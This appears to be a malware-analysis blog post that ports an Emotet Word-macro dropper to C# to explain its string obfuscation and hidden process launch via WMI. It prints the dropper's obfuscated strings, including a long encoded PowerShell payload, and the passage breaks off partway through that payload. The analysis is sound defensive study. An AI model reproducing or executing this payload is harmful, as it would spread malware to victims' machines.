Reverse Engineering
Emulating Emotet in C#
*** WARNING ***
This post contains the text of a malicious VBA script known as Emotet. The script is put here for educational purposes. Everyone is responsible for their own behavior and I do not condone any malicious use of the script hosted here. In other words, don’t do anything stupid.
*** END WARNING ***
In the last post, we looked at an Emotet script that I downloaded from an email. We pulled the script from a word document, got rid of nonsense code, and ended up with a script that was semi human readable. If you have not yet read it, be sure to do so here.
This time we are going to take a deeper look at the script to see exactly what it is doing. It is one thing to have a script that someone can read, and it is another to understand what is happening when the script executes.
I chose C# to emulate the script because I am familiar with C# and I can quickly translate the code over. If I happen to get anything wrong let me know in the comments below. I am always learning so it is entirely possible that I missed something or said something incorrect.
The VBA Script
It took me a while to go through the entire VBA script and convert it over to C#. I was not able to just copy over the code to see what was happening. I ended up having to take bits and pieces of the code, convert it, run it, and see what was doing. Then I could move onto the next section.
The way that VBA functions is significantly different from the way C# functions. The sections below get into the weeds on the programming side, for those that are interested.
The script is relatively simple. The only thing it does is start a new process on the target machine and execute a PowerShell script. The PowerShell script is base64 encoded and obfuscated as well. At the end of this post, you will have an understanding of how the VBA script goes about creating the new process, which is rather convoluted but will show some of the obfuscation techniques used.
We will not cover the PowerShell script in this post for the sake of time. The next post in this series will take a deeper look at the PowerShell script, how it functions, and all that. If you want a sneak peek, you can click the link at the top for my GitHub. I have the PowerShell script in various forms commented at the end of the .cs file.
Now, let’s get moving.
First Steps
After creating a new console project in C#, the first thing I did was create four functions just like the original script had. Doing this gave me a template to go off.
It was time to start moving the code over. While moving the code over, I needed to be cognizant of the code that was not directly portable. For instance, calls such as CreateObject() do not exist in C# so I needed to figure out how this code was functioning and write the equivalent C#.
I encountered a few hiccups while doing this and I ended up having to look up how the CreateObject() and Create() methods worked in VBA. Never having used VBA, I was unfamiliar with how they actually functioned.
After porting over all the code, I found that a good portion of the VBA script was dedicated to starting another process. In C# this is a simple task, and I was able to boil the code down to just a handful of lines.
You can download the full C# script with comments and the “useless code” included for demonstration purposes on my GitHub.
Getting The First String
In order to really understand what this code is doing, we are going to take it step by step. We know that there are four different functions. The first function that executes is the one I labeled Run().
int l_var1 = 0 + 50 + 50;
char l_var2 = (char)(l_var1 + 15); // This is equal to 115 or the ASCII character 's'
string l_var9 = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + l_var2 + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + "P" + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg";
string l_var3 = Func3(l_var9);In the code above, the first and second lines are simply getting an ASCII character. The first line is equal to 100. The second line adds 15 to the 100 to equal 115 and then it converts that number into a character. Looking at an ASCII chart tells us that the number 115 is the lowercase character ‘s’.
Line 3 is nothing more than a repeating string of characters with unique characters dispersed throughout it. This will be used as an argument for the function call on the next line.
On line 4, l_var3 is assigned the return value of the function Func3. We are passing the string from line 3 into it. If we take a look at what is happening inside Func3, we get a better idea of what this is actually doing.
private static string Func3(string obfuscatedStr)
{
string l_var1 = obfuscatedStr;
var split_l_var1 = l_var1.Split(new[] { "58[sn ]]][ jsa 21u7gsggg" }, StringSplitOptions.None);
var l_var2 = string.Join("", split_l_var1);
return l_var2;
}As you can see Func3 takes in one argument of type string. It assigns that value to a local variable. Line 4 is splitting up the input string. I mentioned that it was a repeating string of characters with unique characters mixed in.
The input string is being split by the repeating string, which creates an array of all the unique characters and it completely removes the repeating sequence.
The array of unique characters is then joined back together on line 6 to create a string again, this time without the repeating sequence, and then the string is returned from the function and stored inside l_var3 in the Run() function.
The value that is stored in l_var3 is “winmgmts:win32_Process”. The original script used this value to create an instance of an object that could be used to start a new process. This is not necessary for C# since C# uses a different method of creating new processes so it is not actually used in the C# project.
Getting The Second String
Now that we have the first string, getting the second one is simple. There are three lines that simply add onto the string that we got in the last section.
string l_var5 = "tu";
string l_var6 = (l_var3 + l_var2 + "tar" + l_var5);
string l_var7 = l_var6 + "p";Understanding these lines is relatively easy. Each line simply adds a string of characters to the original string l_var3 and stores the result in l_var7. The resultant string is “winmgmts:win32_Processstartup”.
The script again uses this create an instance of an object. This object differs slightly from the last one that was created. The last object was an object that is responsible for creating the new process. This object holds the configuration for the process.
Settings For The New Process
We have the strings to create both of our objects, now let’s take a look at the creation of those objects. First, we need to take a look at the “winmgmts:win32_Processstartup” object. This object basically tells the “winmgmts:win32_Process” object what settings to use when creating the new process.
Our “winmgmts:win32_Processstartup” object is created using the following line of code.
var l_var8 = Func2(l_var7);This line simply calls Func2, where our object will be created. Func2 is supplied with the parameter l_var7 which contains the string var “winmgmts:win32_Processstartup”.
Function Func2(Func2_Arg1)
Set Func2 = CreateObject(Func2_Arg1)
Func2. _showwindow = P24ljns3z5ix9cy6ml + Iyn0_xguzo4e
End FunctionThe above is the original script. In it you can see that the parameter we supplied the function is used to create a new instance of the object. As I said before, that object is going to hold the configuration for the new process.
Line 3 is a little strange. VBA handles non-initiated variables by setting them to a default value. in this case there are two uninitialized variables “P24ljns3z5ix9cy6ml”, and “Iyn0_xguzo4e”. These two will be initialized to 0 which will translate to “false”.
Line 3 is setting the _showwindow to 0, or false, which will prevent the new process from showing up. This is to avoid alerting the user to any suspicious activity.
Additional Items For the New Process
Now it is time to create the new process. The code from the original script and the code I ended up writing in C# differ significantly. If you are interested in seeing this code in C#, I will post it at the bottom or you can visit my GitHub.
To create the new process the original code used the following.
J6e_mh1uf6sgo = Array(Jyavf690bfuck + "Lbnmm6yd32cp3hkxo1 Cb1c620np50qk83ddE6uzj8js1d2yo3 Gg82_svnrij4l4s_d", l_var4. _
Create(Func4, Di7kp444ma7x, l_var8), Lhwb17nd_uscq_e0 + "Fdxsit003e9hfvr5 Vv124e2cgyoh04 Vx44ajhyxd93q85_ G0ftj0p_8pc")
However, the only part of this that is useful is this.
l_var4. _
Create(Func4, Di7kp444ma7x, l_var8)All the rest of the code is more obfuscation. The code above simply takes the “winmgmts:win32_Process” object we stored in l_var4 and uses the Create method built into that object.
You can see they are passing three arguments to the Create method. The first is the return value of Func4 which we will look at in just a second. The second argument is an uninitialized variable, and the third is the “winmgmts:win32_Processstartup” object that contains the config.
The first argument is the command to execute. The second parameter is the current directory, which will be ignored since we didn’t provide a real value, and the third parameter is the config as already mentioned.
Analyzing Func4
Func4 only consists of two lines which makes it a pretty small function.
private static string Func4()
{
var l_var1 = "p58[sn ]]][ jsa 21u7gsgggo58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsggge58[sn ]]][ jsa 21u7gsgggr58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggh58[sn ]]][ jsa 21u7gsgggeL58[sn ]]][ jsa 21u7gsgggL58[sn ]]][ jsa 21u7gsggg 58[sn ]]][ jsa 21u7gsggg-58[sn ]]][ jsa 21u7gsggge58[sn ]]][ jsa 21u7gsggg JABFA58[sn ]]][ jsa 21u7gsgggHQANw58[sn ]]][ jsa 21u7gsgggBrADA58[sn ]]][ jsa 21u7gsgggAegBk58[sn ]]][ jsa 21u7gsgggAD0AK58[sn ]]][ jsa 21u7gsgggAAnAE58[sn ]]][ jsa 21u7gsgggQAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggNgA3A58[sn ]]][ jsa 21u7gsgggHMAaA58[sn ]]][ jsa 21u7gsgggAnACs58[sn ]]][ jsa 21u7gsgggAJwB258[sn ]]][ jsa 21u7gsgggADIAJ58[sn ]]][ jsa 21u7gsgggwApAD58[sn ]]][ jsa 21u7gsgggsAJgA58[sn ]]][ jsa 21u7gsgggoACcA58[sn ]]][ jsa 21u7gsgggbgBlA58[sn ]]][ jsa 21u7gsgggHcALQ58[sn ]]][ jsa 21u7gsgggAnACs58[sn ]]][ jsa 21u7gsgggAJwBp58[sn ]]][ jsa 21u7gsgggAHQAJ58[sn ]]][ jsa 21u7gsgggwArAC58[sn ]]][ jsa 21u7gsgggcAZQB58[sn ]]][ jsa 21u7gsgggtACcA58[sn ]]][ jsa 21u7gsgggKQAgA58[sn ]]][ jsa 21u7gsgggCQARQ58[sn ]]][ jsa 21u7gsgggBOAFY58[sn ]]][ jsa 21u7gsgggAOgBU58[sn ]]][ jsa 21u7gsgggAGUAb58[sn ]]][ jsa 21u7gsgggQBQAF58[sn ]]][ jsa 21u7gsgggwATwB58[sn ]]][ jsa 21u7gsgggGAGYA58[sn ]]][ jsa 21u7gsgggaQBDA58[sn ]]][ jsa 21u7gsgggEUAMg58[sn ]]][ jsa 21u7gsgggAwADE58[sn ]]][ jsa 21u7gsgggAOQAg58[sn ]]][ jsa 21u7gsgggAC0Aa58[sn ]]][ jsa 21u7gsgggQB0AG58[sn ]]][ jsa 21u7gsgggUAbQB58[sn ]]][ jsa 21u7gsggg0AHkA58[sn ]]][ jsa 21u7gsgggcABlA58[sn ]]][ jsa 21u7gsgggCAARA58[sn ]]][ jsa 21u7gsgggBpAFI58[sn ]]][ jsa 21u7gsgggARQBj58[sn ]]][ jsa 21u7gsgggAFQAb58[sn ]]][ jsa 21u7gsgggwBSAF58[sn ]]][ jsa 21u7gsgggkAOwB58[sn ]]][ jsa 21u7gsgggbAE4A58[sn ]]][ jsa 21u7gsgggZQB0A58[sn ]]][ jsa 21u7gsgggC4AUw58[sn ]]][ jsa 21u7gsgggBlAHI58[sn ]]][ jsa 21u7gsgggAdgBp58[sn ]]][ jsa 21u7gsgggAGMAZ58[sn ]]][ jsa 21u7gsgggQBQAG58[sn ]]][ jsa 21u7gsggg8AaQB58[sn ]]][ jsa 21u7gsggguAHQA58[sn ]]][ jsa 21u7gsgggTQBhA58[sn ]]][ jsa 21u7gsgggG4AYQ58[sn ]]][ jsa 21u7gsgggBnAGU58[sn ]]][ jsa 21u7gsgggAcgBd58[sn ]]][ jsa 21u7gsgggADoAO58[sn ]]][ jsa 21u7gsggggAiAF58[sn ]]][ jsa 21u7gsgggMARQB58[sn ]]][ jsa 21u7gsggggAGMA58[sn ]]][ jsa 21u7gsgggdQBSA58[sn ]]][ jsa 21u7gsgggGkAVA58[sn ]]][ jsa 21u7gsgggB5AHA58[sn ]]][ jsa 21u7gsgggAcgBv58[sn ]]][ jsa 21u7gsgggAFQAY58[sn ]]][ jsa 21u7gsgggABPAG58[sn ]]][ jsa 21u7gsgggMAYAB58[sn ]]][ jsa 21u7gsgggvAGwA58[sn ]]][ jsa 21u7gsgggIgAgA58[sn ]]][ jsa 21u7gsgggD0AIA58[sn ]]][ jsa 21u7gsgggAoACc58[sn ]]][ jsa 21u7gsgggAdABs58[sn ]]][ jsa 21u7gsgggAHMAM58[sn ]]][ jsa 21u7gsgggQAyAC58[sn ]]][ jsa 21u7gsgggwAIAB58[sn ]]][ jsa 21u7gsggg0ACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggGwAcw58[sn ]]][ jsa 21u7gsgggAxACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggADEAL58[sn ]]][ jsa 21u7gsgggAAgAH58[sn ]]][ jsa 21u7gsgggQAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggbABzA58[sn ]]][ jsa 21u7gsgggCcAKQ58[sn ]]][ jsa 21u7gsgggA7ACQ58[sn ]]][ jsa 21u7gsgggAVgBu58[sn ]]][ jsa 21u7gsgggAGIAe58[sn ]]][ jsa 21u7gsgggQBhAG58[sn ]]][ jsa 21u7gsggggAeAA58[sn ]]][ jsa 21u7gsggggAD0A58[sn ]]][ jsa 21u7gsgggIAAoA58[sn ]]][ jsa 21u7gsgggCcASQ58[sn ]]][ jsa 21u7gsgggBuACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAHUAZ58[sn ]]][ jsa 21u7gsgggQBkAD58[sn ]]][ jsa 21u7gsgggkAcQA58[sn ]]][ jsa 21u7gsgggnACkA58[sn ]]][ jsa 21u7gsgggOwAkA58[sn ]]][ jsa 21u7gsgggEsAdQ58[sn ]]][ jsa 21u7gsgggBsAHg58[sn ]]][ jsa 21u7gsgggAXwB058[sn ]]][ jsa 21u7gsgggAHYAP58[sn ]]][ jsa 21u7gsgggQAoAC58[sn ]]][ jsa 21u7gsgggcASwA58[sn ]]][ jsa 21u7gsgggzACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggGcANg58[sn ]]][ jsa 21u7gsgggAyACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAF8Ae58[sn ]]][ jsa 21u7gsggggAnAC58[sn ]]][ jsa 21u7gsgggkAOwA58[sn ]]][ jsa 21u7gsgggkAEUA58[sn ]]][ jsa 21u7gsgggbwA0A58[sn ]]][ jsa 21u7gsgggGcAMQ58[sn ]]][ jsa 21u7gsgggAwAHo58[sn ]]][ jsa 21u7gsgggAPQAk58[sn ]]][ jsa 21u7gsgggAGUAb58[sn ]]][ jsa 21u7gsggggB2AD58[sn ]]][ jsa 21u7gsgggoAdAB58[sn ]]][ jsa 21u7gsggglAG0A58[sn ]]][ jsa 21u7gsgggcAArA58[sn ]]][ jsa 21u7gsgggCgAKA58[sn ]]][ jsa 21u7gsgggAnAEI58[sn ]]][ jsa 21u7gsgggAcQBN58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAE58[sn ]]][ jsa 21u7gsggg8AZgB58[sn ]]][ jsa 21u7gsgggmAGkA58[sn ]]][ jsa 21u7gsgggJwArA58[sn ]]][ jsa 21u7gsgggCcAYw58[sn ]]][ jsa 21u7gsgggBlADI58[sn ]]][ jsa 21u7gsgggAMAAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwAxAD58[sn ]]][ jsa 21u7gsgggkAQgA58[sn ]]][ jsa 21u7gsgggnACsA58[sn ]]][ jsa 21u7gsgggJwBxA58[sn ]]][ jsa 21u7gsgggE0AJw58[sn ]]][ jsa 21u7gsgggApACA58[sn ]]][ jsa 21u7gsgggAIAAt58[sn ]]][ jsa 21u7gsgggAHIAR58[sn ]]][ jsa 21u7gsgggQBQAG58[sn ]]][ jsa 21u7gsgggwAYQB58[sn ]]][ jsa 21u7gsgggDAGUA58[sn ]]][ jsa 21u7gsgggIAAoA58[sn ]]][ jsa 21u7gsgggFsAYw58[sn ]]][ jsa 21u7gsgggBIAGE58[sn ]]][ jsa 21u7gsgggAUgBd58[sn ]]][ jsa 21u7gsgggADYAN58[sn ]]][ jsa 21u7gsggggArAF58[sn ]]][ jsa 21u7gsgggsAYwB58[sn ]]][ jsa 21u7gsgggIAGEA58[sn ]]][ jsa 21u7gsgggUgBdA58[sn ]]][ jsa 21u7gsgggDEAMQ58[sn ]]][ jsa 21u7gsgggAzACs58[sn ]]][ jsa 21u7gsgggAWwBj58[sn ]]][ jsa 21u7gsgggAEgAY58[sn ]]][ jsa 21u7gsgggQBSAF58[sn ]]][ jsa 21u7gsggg0ANwA58[sn ]]][ jsa 21u7gsggg3ACkA58[sn ]]][ jsa 21u7gsgggLABbA58[sn ]]][ jsa 21u7gsgggGMASA58[sn ]]][ jsa 21u7gsgggBhAFI58[sn ]]][ jsa 21u7gsgggAXQA558[sn ]]][ jsa 21u7gsgggADIAK58[sn ]]][ jsa 21u7gsgggQArAC58[sn ]]][ jsa 21u7gsgggQAVgB58[sn ]]][ jsa 21u7gsggguAGIA58[sn ]]][ jsa 21u7gsgggeQBhA58[sn ]]][ jsa 21u7gsgggGgAeA58[sn ]]][ jsa 21u7gsgggArACg58[sn ]]][ jsa 21u7gsgggAJwAu58[sn ]]][ jsa 21u7gsgggAGUAJ58[sn ]]][ jsa 21u7gsgggwArAC58[sn ]]][ jsa 21u7gsgggcAeAB58[sn ]]][ jsa 21u7gsggglACcA58[sn ]]][ jsa 21u7gsgggKQA7A58[sn ]]][ jsa 21u7gsgggCQASA58[sn ]]][ jsa 21u7gsgggBzAGE58[sn ]]][ jsa 21u7gsgggANwBk58[sn ]]][ jsa 21u7gsgggAGcAN58[sn ]]][ jsa 21u7gsggggA9AC58[sn ]]][ jsa 21u7gsggggAJwB58[sn ]]][ jsa 21u7gsgggRAHcA58[sn ]]][ jsa 21u7gsgggbAB4A58[sn ]]][ jsa 21u7gsgggCcAKw58[sn ]]][ jsa 21u7gsgggAnAHg58[sn ]]][ jsa 21u7gsgggAdAA158[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggQA7AC58[sn ]]][ jsa 21u7gsgggQAQgB58[sn ]]][ jsa 21u7gsggg3AGEA58[sn ]]][ jsa 21u7gsgggMQBzA58[sn ]]][ jsa 21u7gsgggDgAZA58[sn ]]][ jsa 21u7gsgggA9AC458[sn ]]][ jsa 21u7gsgggAKAAn58[sn ]]][ jsa 21u7gsgggAG4AZ58[sn ]]][ jsa 21u7gsgggQAnAC58[sn ]]][ jsa 21u7gsgggsAJwB58[sn ]]][ jsa 21u7gsggg3AC0A58[sn ]]][ jsa 21u7gsgggbwBiA58[sn ]]][ jsa 21u7gsgggGoAZQ58[sn ]]][ jsa 21u7gsgggBjACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAHQAJ58[sn ]]][ jsa 21u7gsgggwApAC58[sn ]]][ jsa 21u7gsgggAATgB58[sn ]]][ jsa 21u7gsggglAFQA58[sn ]]][ jsa 21u7gsgggLgB3A58[sn ]]][ jsa 21u7gsgggEUAQg58[sn ]]][ jsa 21u7gsgggBjAGw58[sn ]]][ jsa 21u7gsgggASQBl58[sn ]]][ jsa 21u7gsgggAE4Ad58[sn ]]][ jsa 21u7gsgggAA7AC58[sn ]]][ jsa 21u7gsgggQATAB58[sn ]]][ jsa 21u7gsgggkAHcA58[sn ]]][ jsa 21u7gsgggZQBhA58[sn ]]][ jsa 21u7gsgggGEAZw58[sn ]]][ jsa 21u7gsgggA9ACg58[sn ]]][ jsa 21u7gsgggAJwBo58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAH58[sn ]]][ jsa 21u7gsgggQAdAB58[sn ]]][ jsa 21u7gsgggwACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggDoALw58[sn ]]][ jsa 21u7gsgggAvAHQ58[sn ]]][ jsa 21u7gsgggAJwAr58[sn ]]][ jsa 21u7gsgggACcAa58[sn ]]][ jsa 21u7gsgggAAnAC58[sn ]]][ jsa 21u7gsgggsAJwB58[sn ]]][ jsa 21u7gsgggpAGMA58[sn ]]][ jsa 21u7gsgggJwArA58[sn ]]][ jsa 21u7gsgggCcAaA58[sn ]]][ jsa 21u7gsgggAnACs58[sn ]]][ jsa 21u7gsgggAJwBk58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAG58[sn ]]][ jsa 21u7gsgggkAcgA58[sn ]]][ jsa 21u7gsgggnACsA58[sn ]]][ jsa 21u7gsgggJwB1A58[sn ]]][ jsa 21u7gsgggG4AJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAZwAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwAuAC58[sn ]]][ jsa 21u7gsgggcAKwA58[sn ]]][ jsa 21u7gsgggnAGMA58[sn ]]][ jsa 21u7gsgggbwBtA58[sn ]]][ jsa 21u7gsgggC8AJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAZAB158[sn ]]][ jsa 21u7gsgggAHAAL58[sn ]]][ jsa 21u7gsgggQBpAG58[sn ]]][ jsa 21u7gsggg4AcwB58[sn ]]][ jsa 21u7gsggg0AGEA58[sn ]]][ jsa 21u7gsgggbABsA58[sn ]]][ jsa 21u7gsgggCcAKw58[sn ]]][ jsa 21u7gsgggAnAGU58[sn ]]][ jsa 21u7gsgggAcgAv58[sn ]]][ jsa 21u7gsgggADYAc58[sn ]]][ jsa 21u7gsgggwAyAC58[sn ]]][ jsa 21u7gsgggcAKwA58[sn ]]][ jsa 21u7gsgggnAHAA58[sn ]]][ jsa 21u7gsgggTgBXA58[sn ]]][ jsa 21u7gsgggCcAKw58[sn ]]][ jsa 21u7gsgggAnAEg58[sn ]]][ jsa 21u7gsgggALwAq58[sn ]]][ jsa 21u7gsgggAGgAd58[sn ]]][ jsa 21u7gsgggAB0AH58[sn ]]][ jsa 21u7gsgggAAOgA58[sn ]]][ jsa 21u7gsgggvAC8A58[sn ]]][ jsa 21u7gsgggcwAnA58[sn ]]][ jsa 21u7gsgggCsAJw58[sn ]]][ jsa 21u7gsgggB1AG458[sn ]]][ jsa 21u7gsgggAZwB258[sn ]]][ jsa 21u7gsgggAGEAb58[sn ]]][ jsa 21u7gsgggABvAH58[sn ]]][ jsa 21u7gsgggAAawB58[sn ]]][ jsa 21u7gsgggoACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggG8AJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAbgBn58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAH58[sn ]]][ jsa 21u7gsgggMAYQB58[sn ]]][ jsa 21u7gsgggtACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggC4AJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAYwBv58[sn ]]][ jsa 21u7gsgggAG0AL58[sn ]]][ jsa 21u7gsgggwAnAC58[sn ]]][ jsa 21u7gsgggsAJwB58[sn ]]][ jsa 21u7gsggg0AGUA58[sn ]]][ jsa 21u7gsgggJwArA58[sn ]]][ jsa 21u7gsgggCcAbQ58[sn ]]][ jsa 21u7gsgggBwAC858[sn ]]][ jsa 21u7gsgggAdAA558[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAD58[sn ]]][ jsa 21u7gsgggAAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggeQBqA58[sn ]]][ jsa 21u7gsgggCcAKw58[sn ]]][ jsa 21u7gsgggAnAHM58[sn ]]][ jsa 21u7gsgggALwAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwAqAC58[sn ]]][ jsa 21u7gsgggcAKwA58[sn ]]][ jsa 21u7gsgggnAGgA58[sn ]]][ jsa 21u7gsgggdAB0A58[sn ]]][ jsa 21u7gsgggHAAOg58[sn ]]][ jsa 21u7gsgggAnACs58[sn ]]][ jsa 21u7gsgggAJwAv58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAC58[sn ]]][ jsa 21u7gsggg8AZAA58[sn ]]][ jsa 21u7gsgggnACsA58[sn ]]][ jsa 21u7gsgggJwByA58[sn ]]][ jsa 21u7gsgggHMAaA58[sn ]]][ jsa 21u7gsgggBlAGs58[sn ]]][ jsa 21u7gsgggAaAAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwBhAC58[sn ]]][ jsa 21u7gsgggcAKwA58[sn ]]][ jsa 21u7gsgggnAHIA58[sn ]]][ jsa 21u7gsgggYgBpA58[sn ]]][ jsa 21u7gsgggHMAJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAdwBh58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAH58[sn ]]][ jsa 21u7gsgggMAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggLgBjA58[sn ]]][ jsa 21u7gsgggG8AbQ58[sn ]]][ jsa 21u7gsgggAvAGM58[sn ]]][ jsa 21u7gsgggAZwAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwBpAC58[sn ]]][ jsa 21u7gsggg0AYgB58[sn ]]][ jsa 21u7gsgggpAG4A58[sn ]]][ jsa 21u7gsgggJwArA58[sn ]]][ jsa 21u7gsgggCcALw58[sn ]]][ jsa 21u7gsgggBMAGE58[sn ]]][ jsa 21u7gsgggAJwAr58[sn ]]][ jsa 21u7gsgggACcAM58[sn ]]][ jsa 21u7gsgggQAvAC58[sn ]]][ jsa 21u7gsgggoAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggaAB0A58[sn ]]][ jsa 21u7gsgggHQAcA58[sn ]]][ jsa 21u7gsgggBzACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggADoAJ58[sn ]]][ jsa 21u7gsgggwArAC58[sn ]]][ jsa 21u7gsgggcALwA58[sn ]]][ jsa 21u7gsgggvAHcA58[sn ]]][ jsa 21u7gsgggdwAnA58[sn ]]][ jsa 21u7gsgggCsAJw58[sn ]]][ jsa 21u7gsgggB3AC458[sn ]]][ jsa 21u7gsgggAcABy58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAG58[sn ]]][ jsa 21u7gsggg8AJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggeQBlA58[sn ]]][ jsa 21u7gsgggGMAdA58[sn ]]][ jsa 21u7gsgggBvACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAGIAJ58[sn ]]][ jsa 21u7gsgggwArAC58[sn ]]][ jsa 21u7gsgggcAYQA58[sn ]]][ jsa 21u7gsgggnACsA58[sn ]]][ jsa 21u7gsgggJwB5A58[sn ]]][ jsa 21u7gsgggGEAJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAYwB158[sn ]]][ jsa 21u7gsgggAC4AY58[sn ]]][ jsa 21u7gsgggwBvAG58[sn ]]][ jsa 21u7gsggg0ALwB58[sn ]]][ jsa 21u7gsggguACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggG8AdA58[sn ]]][ jsa 21u7gsgggBoAGk58[sn ]]][ jsa 21u7gsgggAbgAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwBnAC58[sn ]]][ jsa 21u7gsggg8AJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggNQAvA58[sn ]]][ jsa 21u7gsgggCoAaA58[sn ]]][ jsa 21u7gsgggB0ACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAHQAc58[sn ]]][ jsa 21u7gsgggAA6AC58[sn ]]][ jsa 21u7gsggg8ALwA58[sn ]]][ jsa 21u7gsgggnACsA58[sn ]]][ jsa 21u7gsgggJwBkA58[sn ]]][ jsa 21u7gsgggCcAKw58[sn ]]][ jsa 21u7gsgggAnAGk58[sn ]]][ jsa 21u7gsgggAJwAr58[sn ]]][ jsa 21u7gsgggACcAZ58[sn ]]][ jsa 21u7gsgggwAnAC58[sn ]]][ jsa 21u7gsgggsAJwB58[sn ]]][ jsa 21u7gsgggpAHQA58[sn ]]][ jsa 21u7gsgggYQAnA58[sn ]]][ jsa 21u7gsgggCsAJw58[sn ]]][ jsa 21u7gsgggBsAG058[sn ]]][ jsa 21u7gsgggAYQBy58[sn ]]][ jsa 21u7gsgggAGsAZ58[sn ]]][ jsa 21u7gsgggQAnAC58[sn ]]][ jsa 21u7gsgggsAJwB58[sn ]]][ jsa 21u7gsggg0AGkA58[sn ]]][ jsa 21u7gsgggJwArA58[sn ]]][ jsa 21u7gsgggCcAbg58[sn ]]][ jsa 21u7gsgggBnAGI58[sn ]]][ jsa 21u7gsgggAbABv58[sn ]]][ jsa 21u7gsgggAGcAJ58[sn ]]][ jsa 21u7gsgggwArAC58[sn ]]][ jsa 21u7gsgggcAZwA58[sn ]]][ jsa 21u7gsgggnACsA58[sn ]]][ jsa 21u7gsgggJwBlA58[sn ]]][ jsa 21u7gsgggHIAcw58[sn ]]][ jsa 21u7gsgggAuACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAGMAb58[sn ]]][ jsa 21u7gsgggwAnAC58[sn ]]][ jsa 21u7gsgggsAJwB58[sn ]]][ jsa 21u7gsgggtAC8A58[sn ]]][ jsa 21u7gsgggZQAnA58[sn ]]][ jsa 21u7gsgggCsAJw58[sn ]]][ jsa 21u7gsgggBsACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAGoAd58[sn ]]][ jsa 21u7gsgggQAvAC58[sn ]]][ jsa 21u7gsgggcAKwA58[sn ]]][ jsa 21u7gsgggnAEEA58[sn ]]][ jsa 21u7gsgggbwA1A58[sn ]]][ jsa 21u7gsgggEkASg58[sn ]]][ jsa 21u7gsgggB5AC858[sn ]]][ jsa 21u7gsgggAKgAn58[sn ]]][ jsa 